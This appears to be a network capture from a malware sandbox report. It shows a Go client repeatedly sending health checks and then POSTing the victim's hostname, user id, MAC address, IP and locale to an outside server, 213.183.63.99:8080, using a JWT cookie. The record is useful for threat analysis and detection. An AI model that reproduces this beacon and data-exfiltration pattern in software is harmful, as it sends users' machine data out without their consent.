              Data Raw: 7b 22 68 6f 73 74 6e 61 6d 65 22 3a 22 37 30 31 31 38 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 22 2c 22 75 73 65 72 5f 69 64 22 3a 22 4a 4f 4e 45 53 2d 50 43 5c 5c 6a 6f 6e 65 73 22 2c 22 6f 73 5f 6e 61 6d 65 22 3a 22 77 69 6e 64 6f 77 73 22 2c 22 6f 73 5f 61 72 63 68 22 3a 22 61 6d 64 36 34 22 2c 22 6d 61 63 5f 61 64 64 72 65 73 73 22 3a 22 65 63 3a 66 34 3a 62 62 3a 65 61 3a 31 35 3a 38 38 22 2c 22 6c 6f 63 61 6c 5f 69 70 5f 61 64 64 72 65 73 73 22 3a 22 38 39 2e 31 34 39 2e 31 38 2e 36 30 22 2c 22 70 6f 72 74 22 3a 22 38 30 38 30 22 2c 22 6c 6f 63 61 6c 65 5f 6c 61 6e 67 22 3a 22 65 6e 2d 43 48 22 2c 22 66 65 74 63 68 65 64 5f 75 6e 69 78 22 3a 31 37 30 31 30 37 36 33 38 38 7d
              Data Ascii: {"hostname":"701188","username":"","user_id":"user-PC\\user","os_name":"windows","os_arch":"amd64","mac_address":"ec:f4:bb:ea:15:88","local_ip_address":"89.149.18.60","port":"8080","locale_lang":"en-CH","fetched_unix":1701076388}
              Nov 27, 2023 10:13:10.403284073 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:13:10 GMT
              Content-Length: 0
              Nov 27, 2023 10:13:13.404176950 CET357OUTGET /health HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Nov 27, 2023 10:13:13.606868029 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:13:13 GMT
              Content-Length: 0
              Nov 27, 2023 10:13:14.169691086 CET610OUTPOST /device HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Length: 231
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Data Raw: 7b 22 68 6f 73 74 6e 61 6d 65 22 3a 22 37 30 31 31 38 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 22 2c 22 75 73 65 72 5f 69 64 22 3a 22 4a 4f 4e 45 53 2d 50 43 5c 5c 6a 6f 6e 65 73 22 2c 22 6f 73 5f 6e 61 6d 65 22 3a 22 77 69 6e 64 6f 77 73 22 2c 22 6f 73 5f 61 72 63 68 22 3a 22 61 6d 64 36 34 22 2c 22 6d 61 63 5f 61 64 64 72 65 73 73 22 3a 22 65 63 3a 66 34 3a 62 62 3a 65 61 3a 31 35 3a 38 38 22 2c 22 6c 6f 63 61 6c 5f 69 70 5f 61 64 64 72 65 73 73 22 3a 22 38 39 2e 31 34 39 2e 31 38 2e 36 30 22 2c 22 70 6f 72 74 22 3a 22 38 30 38 30 22 2c 22 6c 6f 63 61 6c 65 5f 6c 61 6e 67 22 3a 22 65 6e 2d 43 48 22 2c 22 66 65 74 63 68 65 64 5f 75 6e 69 78 22 3a 31 37 30 31 30 37 36 33 39 32 7d
              Data Ascii: {"hostname":"701188","username":"","user_id":"user-PC\\user","os_name":"windows","os_arch":"amd64","mac_address":"ec:f4:bb:ea:15:88","local_ip_address":"89.149.18.60","port":"8080","locale_lang":"en-CH","fetched_unix":1701076392}
              Nov 27, 2023 10:13:14.377789974 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:13:14 GMT
              Content-Length: 0
              Nov 27, 2023 10:13:17.382409096 CET357OUTGET /health HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Nov 27, 2023 10:13:17.585338116 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:13:17 GMT
              Content-Length: 0
              Nov 27, 2023 10:13:18.139144897 CET610OUTPOST /device HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Length: 231
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Data Raw: 7b 22 68 6f 73 74 6e 61 6d 65 22 3a 22 37 30 31 31 38 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 22 2c 22 75 73 65 72 5f 69 64 22 3a 22 4a 4f 4e 45 53 2d 50 43 5c 5c 6a 6f 6e 65 73 22 2c 22 6f 73 5f 6e 61 6d 65 22 3a 22 77 69 6e 64 6f 77 73 22 2c 22 6f 73 5f 61 72 63 68 22 3a 22 61 6d 64 36 34 22 2c 22 6d 61 63 5f 61 64 64 72 65 73 73 22 3a 22 65 63 3a 66 34 3a 62 62 3a 65 61 3a 31 35 3a 38 38 22 2c 22 6c 6f 63 61 6c 5f 69 70 5f 61 64 64 72 65 73 73 22 3a 22 38 39 2e 31 34 39 2e 31 38 2e 36 30 22 2c 22 70 6f 72 74 22 3a 22 38 30 38 30 22 2c 22 6c 6f 63 61 6c 65 5f 6c 61 6e 67 22 3a 22 65 6e 2d 43 48 22 2c 22 66 65 74 63 68 65 64 5f 75 6e 69 78 22 3a 31 37 30 31 30 37 36 33 39 36 7d
              Data Ascii: {"hostname":"701188","username":"","user_id":"user-PC\\user","os_name":"windows","os_arch":"amd64","mac_address":"ec:f4:bb:ea:15:88","local_ip_address":"89.149.18.60","port":"8080","locale_lang":"en-CH","fetched_unix":1701076396}
              Nov 27, 2023 10:13:18.348618984 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:13:18 GMT
              Content-Length: 0
              Nov 27, 2023 10:13:21.552275896 CET357OUTGET /health HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Nov 27, 2023 10:13:21.754950047 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:13:21 GMT
              Content-Length: 0
              Nov 27, 2023 10:13:22.318269968 CET610OUTPOST /device HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Length: 231
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Data Raw: 7b 22 68 6f 73 74 6e 61 6d 65 22 3a 22 37 30 31 31 38 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 22 2c 22 75 73 65 72 5f 69 64 22 3a 22 4a 4f 4e 45 53 2d 50 43 5c 5c 6a 6f 6e 65 73 22 2c 22 6f 73 5f 6e 61 6d 65 22 3a 22 77 69 6e 64 6f 77 73 22 2c 22 6f 73 5f 61 72 63 68 22 3a 22 61 6d 64 36 34 22 2c 22 6d 61 63 5f 61 64 64 72 65 73 73 22 3a 22 65 63 3a 66 34 3a 62 62 3a 65 61 3a 31 35 3a 38 38 22 2c 22 6c 6f 63 61 6c 5f 69 70 5f 61 64 64 72 65 73 73 22 3a 22 38 39 2e 31 34 39 2e 31 38 2e 36 30 22 2c 22 70 6f 72 74 22 3a 22 38 30 38 30 22 2c 22 6c 6f 63 61 6c 65 5f 6c 61 6e 67 22 3a 22 65 6e 2d 43 48 22 2c 22 66 65 74 63 68 65 64 5f 75 6e 69 78 22 3a 31 37 30 31 30 37 36 34 30 30 7d
              Data Ascii: {"hostname":"701188","username":"","user_id":"user-PC\\user","os_name":"windows","os_arch":"amd64","mac_address":"ec:f4:bb:ea:15:88","local_ip_address":"89.149.18.60","port":"8080","locale_lang":"en-CH","fetched_unix":1701076400}
              Nov 27, 2023 10:13:22.526499987 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:13:22 GMT
              Content-Length: 0
              Nov 27, 2023 10:13:25.527757883 CET357OUTGET /health HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Nov 27, 2023 10:13:25.730464935 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:13:25 GMT
              Content-Length: 0
              Nov 27, 2023 10:13:26.294244051 CET610OUTPOST /device HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Length: 231
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Data Raw: 7b 22 68 6f 73 74 6e 61 6d 65 22 3a 22 37 30 31 31 38 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 22 2c 22 75 73 65 72 5f 69 64 22 3a 22 4a 4f 4e 45 53 2d 50 43 5c 5c 6a 6f 6e 65 73 22 2c 22 6f 73 5f 6e 61 6d 65 22 3a 22 77 69 6e 64 6f 77 73 22 2c 22 6f 73 5f 61 72 63 68 22 3a 22 61 6d 64 36 34 22 2c 22 6d 61 63 5f 61 64 64 72 65 73 73 22 3a 22 65 63 3a 66 34 3a 62 62 3a 65 61 3a 31 35 3a 38 38 22 2c 22 6c 6f 63 61 6c 5f 69 70 5f 61 64 64 72 65 73 73 22 3a 22 38 39 2e 31 34 39 2e 31 38 2e 36 30 22 2c 22 70 6f 72 74 22 3a 22 38 30 38 30 22 2c 22 6c 6f 63 61 6c 65 5f 6c 61 6e 67 22 3a 22 65 6e 2d 43 48 22 2c 22 66 65 74 63 68 65 64 5f 75 6e 69 78 22 3a 31 37 30 31 30 37 36 34 30 34 7d
              Data Ascii: {"hostname":"701188","username":"","user_id":"user-PC\\user","os_name":"windows","os_arch":"amd64","mac_address":"ec:f4:bb:ea:15:88","local_ip_address":"89.149.18.60","port":"8080","locale_lang":"en-CH","fetched_unix":1701076404}
              Nov 27, 2023 10:13:26.502710104 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:13:26 GMT
              Content-Length: 0
              Nov 27, 2023 10:13:29.505604982 CET357OUTGET /health HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Nov 27, 2023 10:13:29.708452940 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:13:29 GMT
              Content-Length: 0
              Nov 27, 2023 10:13:30.266272068 CET610OUTPOST /device HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Length: 231
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Data Raw: 7b 22 68 6f 73 74 6e 61 6d 65 22 3a 22 37 30 31 31 38 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 22 2c 22 75 73 65 72 5f 69 64 22 3a 22 4a 4f 4e 45 53 2d 50 43 5c 5c 6a 6f 6e 65 73 22 2c 22 6f 73 5f 6e 61 6d 65 22 3a 22 77 69 6e 64 6f 77 73 22 2c 22 6f 73 5f 61 72 63 68 22 3a 22 61 6d 64 36 34 22 2c 22 6d 61 63 5f 61 64 64 72 65 73 73 22 3a 22 65 63 3a 66 34 3a 62 62 3a 65 61 3a 31 35 3a 38 38 22 2c 22 6c 6f 63 61 6c 5f 69 70 5f 61 64 64 72 65 73 73 22 3a 22 38 39 2e 31 34 39 2e 31 38 2e 36 30 22 2c 22 70 6f 72 74 22 3a 22 38 30 38 30 22 2c 22 6c 6f 63 61 6c 65 5f 6c 61 6e 67 22 3a 22 65 6e 2d 43 48 22 2c 22 66 65 74 63 68 65 64 5f 75 6e 69 78 22 3a 31 37 30 31 30 37 36 34 30 38 7d
              Data Ascii: {"hostname":"701188","username":"","user_id":"user-PC\\user","os_name":"windows","os_arch":"amd64","mac_address":"ec:f4:bb:ea:15:88","local_ip_address":"89.149.18.60","port":"8080","locale_lang":"en-CH","fetched_unix":1701076408}
              Nov 27, 2023 10:13:30.473292112 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:13:30 GMT
              Content-Length: 0
              Nov 27, 2023 10:13:33.474473953 CET357OUTGET /health HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Nov 27, 2023 10:13:33.677151918 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:13:33 GMT
              Content-Length: 0
              Nov 27, 2023 10:13:34.234797001 CET610OUTPOST /device HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Length: 231
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Data Raw: 7b 22 68 6f 73 74 6e 61 6d 65 22 3a 22 37 30 31 31 38 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 22 2c 22 75 73 65 72 5f 69 64 22 3a 22 4a 4f 4e 45 53 2d 50 43 5c 5c 6a 6f 6e 65 73 22 2c 22 6f 73 5f 6e 61 6d 65 22 3a 22 77 69 6e 64 6f 77 73 22 2c 22 6f 73 5f 61 72 63 68 22 3a 22 61 6d 64 36 34 22 2c 22 6d 61 63 5f 61 64 64 72 65 73 73 22 3a 22 65 63 3a 66 34 3a 62 62 3a 65 61 3a 31 35 3a 38 38 22 2c 22 6c 6f 63 61 6c 5f 69 70 5f 61 64 64 72 65 73 73 22 3a 22 38 39 2e 31 34 39 2e 31 38 2e 36 30 22 2c 22 70 6f 72 74 22 3a 22 38 30 38 30 22 2c 22 6c 6f 63 61 6c 65 5f 6c 61 6e 67 22 3a 22 65 6e 2d 43 48 22 2c 22 66 65 74 63 68 65 64 5f 75 6e 69 78 22 3a 31 37 30 31 30 37 36 34 31 32 7d
              Data Ascii: {"hostname":"701188","username":"","user_id":"user-PC\\user","os_name":"windows","os_arch":"amd64","mac_address":"ec:f4:bb:ea:15:88","local_ip_address":"89.149.18.60","port":"8080","locale_lang":"en-CH","fetched_unix":1701076412}
              Nov 27, 2023 10:13:34.445873022 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:13:34 GMT
              Content-Length: 0
              Nov 27, 2023 10:13:37.446865082 CET357OUTGET /health HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Nov 27, 2023 10:13:37.654812098 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:13:37 GMT
              Content-Length: 0
              Nov 27, 2023 10:13:38.216587067 CET610OUTPOST /device HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Length: 231
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Data Raw: 7b 22 68 6f 73 74 6e 61 6d 65 22 3a 22 37 30 31 31 38 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 22 2c 22 75 73 65 72 5f 69 64 22 3a 22 4a 4f 4e 45 53 2d 50 43 5c 5c 6a 6f 6e 65 73 22 2c 22 6f 73 5f 6e 61 6d 65 22 3a 22 77 69 6e 64 6f 77 73 22 2c 22 6f 73 5f 61 72 63 68 22 3a 22 61 6d 64 36 34 22 2c 22 6d 61 63 5f 61 64 64 72 65 73 73 22 3a 22 65 63 3a 66 34 3a 62 62 3a 65 61 3a 31 35 3a 38 38 22 2c 22 6c 6f 63 61 6c 5f 69 70 5f 61 64 64 72 65 73 73 22 3a 22 38 39 2e 31 34 39 2e 31 38 2e 36 30 22 2c 22 70 6f 72 74 22 3a 22 38 30 38 30 22 2c 22 6c 6f 63 61 6c 65 5f 6c 61 6e 67 22 3a 22 65 6e 2d 43 48 22 2c 22 66 65 74 63 68 65 64 5f 75 6e 69 78 22 3a 31 37 30 31 30 37 36 34 31 36 7d
              Data Ascii: {"hostname":"701188","username":"","user_id":"user-PC\\user","os_name":"windows","os_arch":"amd64","mac_address":"ec:f4:bb:ea:15:88","local_ip_address":"89.149.18.60","port":"8080","locale_lang":"en-CH","fetched_unix":1701076416}
              Nov 27, 2023 10:13:38.426301003 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:13:38 GMT
              Content-Length: 0
              Nov 27, 2023 10:13:41.427298069 CET357OUTGET /health HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Nov 27, 2023 10:13:41.629951954 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:13:41 GMT
              Content-Length: 0
              Nov 27, 2023 10:13:42.188235044 CET610OUTPOST /device HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Length: 231
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Data Raw: 7b 22 68 6f 73 74 6e 61 6d 65 22 3a 22 37 30 31 31 38 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 22 2c 22 75 73 65 72 5f 69 64 22 3a 22 4a 4f 4e 45 53 2d 50 43 5c 5c 6a 6f 6e 65 73 22 2c 22 6f 73 5f 6e 61 6d 65 22 3a 22 77 69 6e 64 6f 77 73 22 2c 22 6f 73 5f 61 72 63 68 22 3a 22 61 6d 64 36 34 22 2c 22 6d 61 63 5f 61 64 64 72 65 73 73 22 3a 22 65 63 3a 66 34 3a 62 62 3a 65 61 3a 31 35 3a 38 38 22 2c 22 6c 6f 63 61 6c 5f 69 70 5f 61 64 64 72 65 73 73 22 3a 22 38 39 2e 31 34 39 2e 31 38 2e 36 30 22 2c 22 70 6f 72 74 22 3a 22 38 30 38 30 22 2c 22 6c 6f 63 61 6c 65 5f 6c 61 6e 67 22 3a 22 65 6e 2d 43 48 22 2c 22 66 65 74 63 68 65 64 5f 75 6e 69 78 22 3a 31 37 30 31 30 37 36 34 32 30 7d
              Data Ascii: {"hostname":"701188","username":"","user_id":"user-PC\\user","os_name":"windows","os_arch":"amd64","mac_address":"ec:f4:bb:ea:15:88","local_ip_address":"89.149.18.60","port":"8080","locale_lang":"en-CH","fetched_unix":1701076420}
              Nov 27, 2023 10:13:42.398011923 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:13:42 GMT
              Content-Length: 0
              Nov 27, 2023 10:13:45.399152994 CET357OUTGET /health HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Nov 27, 2023 10:13:45.602086067 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:13:45 GMT
              Content-Length: 0
              Nov 27, 2023 10:13:46.174168110 CET610OUTPOST /device HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Length: 231
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Data Raw: 7b 22 68 6f 73 74 6e 61 6d 65 22 3a 22 37 30 31 31 38 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 22 2c 22 75 73 65 72 5f 69 64 22 3a 22 4a 4f 4e 45 53 2d 50 43 5c 5c 6a 6f 6e 65 73 22 2c 22 6f 73 5f 6e 61 6d 65 22 3a 22 77 69 6e 64 6f 77 73 22 2c 22 6f 73 5f 61 72 63 68 22 3a 22 61 6d 64 36 34 22 2c 22 6d 61 63 5f 61 64 64 72 65 73 73 22 3a 22 65 63 3a 66 34 3a 62 62 3a 65 61 3a 31 35 3a 38 38 22 2c 22 6c 6f 63 61 6c 5f 69 70 5f 61 64 64 72 65 73 73 22 3a 22 38 39 2e 31 34 39 2e 31 38 2e 36 30 22 2c 22 70 6f 72 74 22 3a 22 38 30 38 30 22 2c 22 6c 6f 63 61 6c 65 5f 6c 61 6e 67 22 3a 22 65 6e 2d 43 48 22 2c 22 66 65 74 63 68 65 64 5f 75 6e 69 78 22 3a 31 37 30 31 30 37 36 34 32 34 7d
              Data Ascii: {"hostname":"701188","username":"","user_id":"user-PC\\user","os_name":"windows","os_arch":"amd64","mac_address":"ec:f4:bb:ea:15:88","local_ip_address":"89.149.18.60","port":"8080","locale_lang":"en-CH","fetched_unix":1701076424}
              Nov 27, 2023 10:13:46.382072926 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:13:46 GMT
              Content-Length: 0
              Nov 27, 2023 10:13:49.383274078 CET357OUTGET /health HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Nov 27, 2023 10:13:49.586684942 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:13:49 GMT
              Content-Length: 0
              Nov 27, 2023 10:13:50.138991117 CET610OUTPOST /device HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Length: 231
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Data Raw: 7b 22 68 6f 73 74 6e 61 6d 65 22 3a 22 37 30 31 31 38 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 22 2c 22 75 73 65 72 5f 69 64 22 3a 22 4a 4f 4e 45 53 2d 50 43 5c 5c 6a 6f 6e 65 73 22 2c 22 6f 73 5f 6e 61 6d 65 22 3a 22 77 69 6e 64 6f 77 73 22 2c 22 6f 73 5f 61 72 63 68 22 3a 22 61 6d 64 36 34 22 2c 22 6d 61 63 5f 61 64 64 72 65 73 73 22 3a 22 65 63 3a 66 34 3a 62 62 3a 65 61 3a 31 35 3a 38 38 22 2c 22 6c 6f 63 61 6c 5f 69 70 5f 61 64 64 72 65 73 73 22 3a 22 38 39 2e 31 34 39 2e 31 38 2e 36 30 22 2c 22 70 6f 72 74 22 3a 22 38 30 38 30 22 2c 22 6c 6f 63 61 6c 65 5f 6c 61 6e 67 22 3a 22 65 6e 2d 43 48 22 2c 22 66 65 74 63 68 65 64 5f 75 6e 69 78 22 3a 31 37 30 31 30 37 36 34 32 38 7d
              Data Ascii: {"hostname":"701188","username":"","user_id":"user-PC\\user","os_name":"windows","os_arch":"amd64","mac_address":"ec:f4:bb:ea:15:88","local_ip_address":"89.149.18.60","port":"8080","locale_lang":"en-CH","fetched_unix":1701076428}
              Nov 27, 2023 10:13:50.345881939 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:13:50 GMT
              Content-Length: 0
              Nov 27, 2023 10:13:54.216346025 CET357OUTGET /health HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Nov 27, 2023 10:13:54.419012070 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:13:54 GMT
              Content-Length: 0
              Nov 27, 2023 10:13:54.979832888 CET610OUTPOST /device HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Length: 231
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
